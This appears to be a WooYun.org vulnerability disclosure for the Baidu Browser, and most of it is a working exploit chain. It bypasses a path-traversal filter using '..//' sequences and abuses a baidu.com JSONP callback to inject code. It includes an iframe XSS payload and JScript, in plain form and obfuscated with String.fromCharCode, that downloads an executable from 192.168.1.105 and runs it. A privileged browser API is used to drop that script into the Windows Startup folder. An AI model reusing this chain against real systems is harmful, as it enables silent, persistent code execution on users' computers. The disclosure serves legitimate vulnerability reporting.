WooYun.org

A. 当使用 ../../../../../cmd.exe 这种方式来对写入路径往上级目录跳转时，发现对方仅会取值cmd.exe，也就是说../../../全部被忽略掉了。
    B. 对于下载皮肤的来源进行了过滤，仅允许来自 *.baidu.com下的资源文件。

A. ../../../ 的方式会被过滤，但是 ..//..//..// 的方式却不会被过滤，这样一来，我们依然可以向上级目录写入内容
    B. 限制下载资源来源为*.baidu.com的方式太过于宽松，依然结合一些 *.baidu.com下的资源接口，比如jsonp接口，来实现执行本地命令。

var obj = queryHash(decodeURIComponent(location.hash).replace("#", ""));
document.getElementById("name").innerHTML = obj.name;
document.getElementById("path").innerHTML = obj.path;

<iframe style="width:1px; height:1px;" src='\\127.0.0.1/C$/Program Files/baidu/baiduBrowser/resource/extension/security/safe_default.html#path=aa<script/defer>eval(window.name);</script>' name='var s=document.createElement("script");s.src="http://192.168.1.105/test/baidu3.js?"+Math.random();document.body.appendChild(s);'></iframe>

A.  JSON.parse 被改用为 eval("("+data+")") 的方式以支持低版本IE核。
 B.  bdbrowser.skin.download 的写入地址，采用 ..//..//..//..//启动目录//test.js 的方式绕过对../../的过滤，向启动目录中写入test.js
 C.  使用随便找的一个 xapp.baidu.com 下的jsonp接口，将callback回调函数名称替换为我们要执行的恶意JS代码内容。

var x=new ActiveXObject("Microsoft.XMLHTTP");
x.open("GET","http://192.168.1.105/calc.exe",false);
x.send();
var s=new ActiveXObject("ADODB.Stream");
s.Mode=3;
s.Type=1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("calc.exe");
var y=new ActiveXObject("WScript.Shell");
y.run("calc.exe");

eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59))

function getInstallList(id,list){
	var result=eval("("+list+")");
	var apps=result.content.ItemList;
	var deleteID="";
	for(var i=apps.length-1;i>=0;i--){
		if(/\w{32}/.test(apps[i]["ID"])){
			deleteID=apps[i]["ID"];
			break;
		}
	}
	//alert("deleteID:"+deleteID);
	if(!deleteID){
		//不存在自安装插件，通过安装法来获得user
		window.external.StartRequest(222,"AppService.AppMarket.DownloadPack","getUser","{\"ID\":\"eococdloljmhdpnihekiiohodgcgjigh\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c95d9d7.crx\",\"UPDATE\":\"false\"}",window,""); 
	}else{
		//通过删除插件法来实现静默执行
		window.external.StartRequest(222,"AppService.AppMarket.DeleteExt","getUser","{\"ID\":\""+deleteID+"\"}",window,"");
	}
}
function getUser(id,res){
	var isWin7=/NT\s+6/.test(navigator.userAgent);
	var user=isWin7?(res.match(/[A-Z]:[\\\\\/]+Users[\\\\\/]+([^\\\/]+)[\\\\\/]+AppData/)||["",""])[1]:(res.match(/[A-Z]:[\\\\\/]+(Documents and Settings|DOCUME~1)[\\\\\/]+([^\\\/]+)[\\\\\/]+/)||["",""])[2];
	generateCMD(user);
}
function main(){
	window.external.StartRequest(222,"AppService.AppMarket.GetInstalledList","getInstallList","{\"RequireDetail\":\"1\",\"RequirePermission\":\"1\"}",window,"");
}
function generateCMD(user){
	//alert("Current User:"+user+"\n");
	var isWin7=/NT\s+6/.test(navigator.userAgent);
	var win7="Users//"+user+"//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//test.js";
	var xp="Documents and Settings//"+user+"//「开始」菜单//程序//启动//test.js";
	//alert("1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\"");
	window.external.StartRequest(1,"bdbrowser.skin.download","(function(id,res){console.log(res)})","{\"name\":\"1//..//..//..//..//..//..//..//..//..//..//..//..//..//"+(isWin7?win7:xp)+"\",\"url\":\"http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=&count=36&page=1&callback=eval(String.fromCharCode(118,97,114,32,120,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,13,120,46,111,112,101,110,40,34,71,69,84,34,44,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,53,47,99,97,108,99,46,101,120,101,34,44,102,97,108,115,101,41,59,13,120,46,115,101,110,100,40,41,59,13,118,97,114,32,115,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,13,115,46,77,111,100,101,61,51,59,13,115,46,84,121,112,101,61,49,59,13,115,46,79,112,101,110,40,41,59,13,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,13,115,46,83,97,118,101,84,111,70,105,108,101,40,34,99,97,108,99,46,101,120,101,34,41,59,13,118,97,114,32,121,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,59,13,121,46,114,117,110,40,34,99,97,108,99,46,101,120,101,34,41,59));void\"}",window,"")
}
try{main();}catch(e){};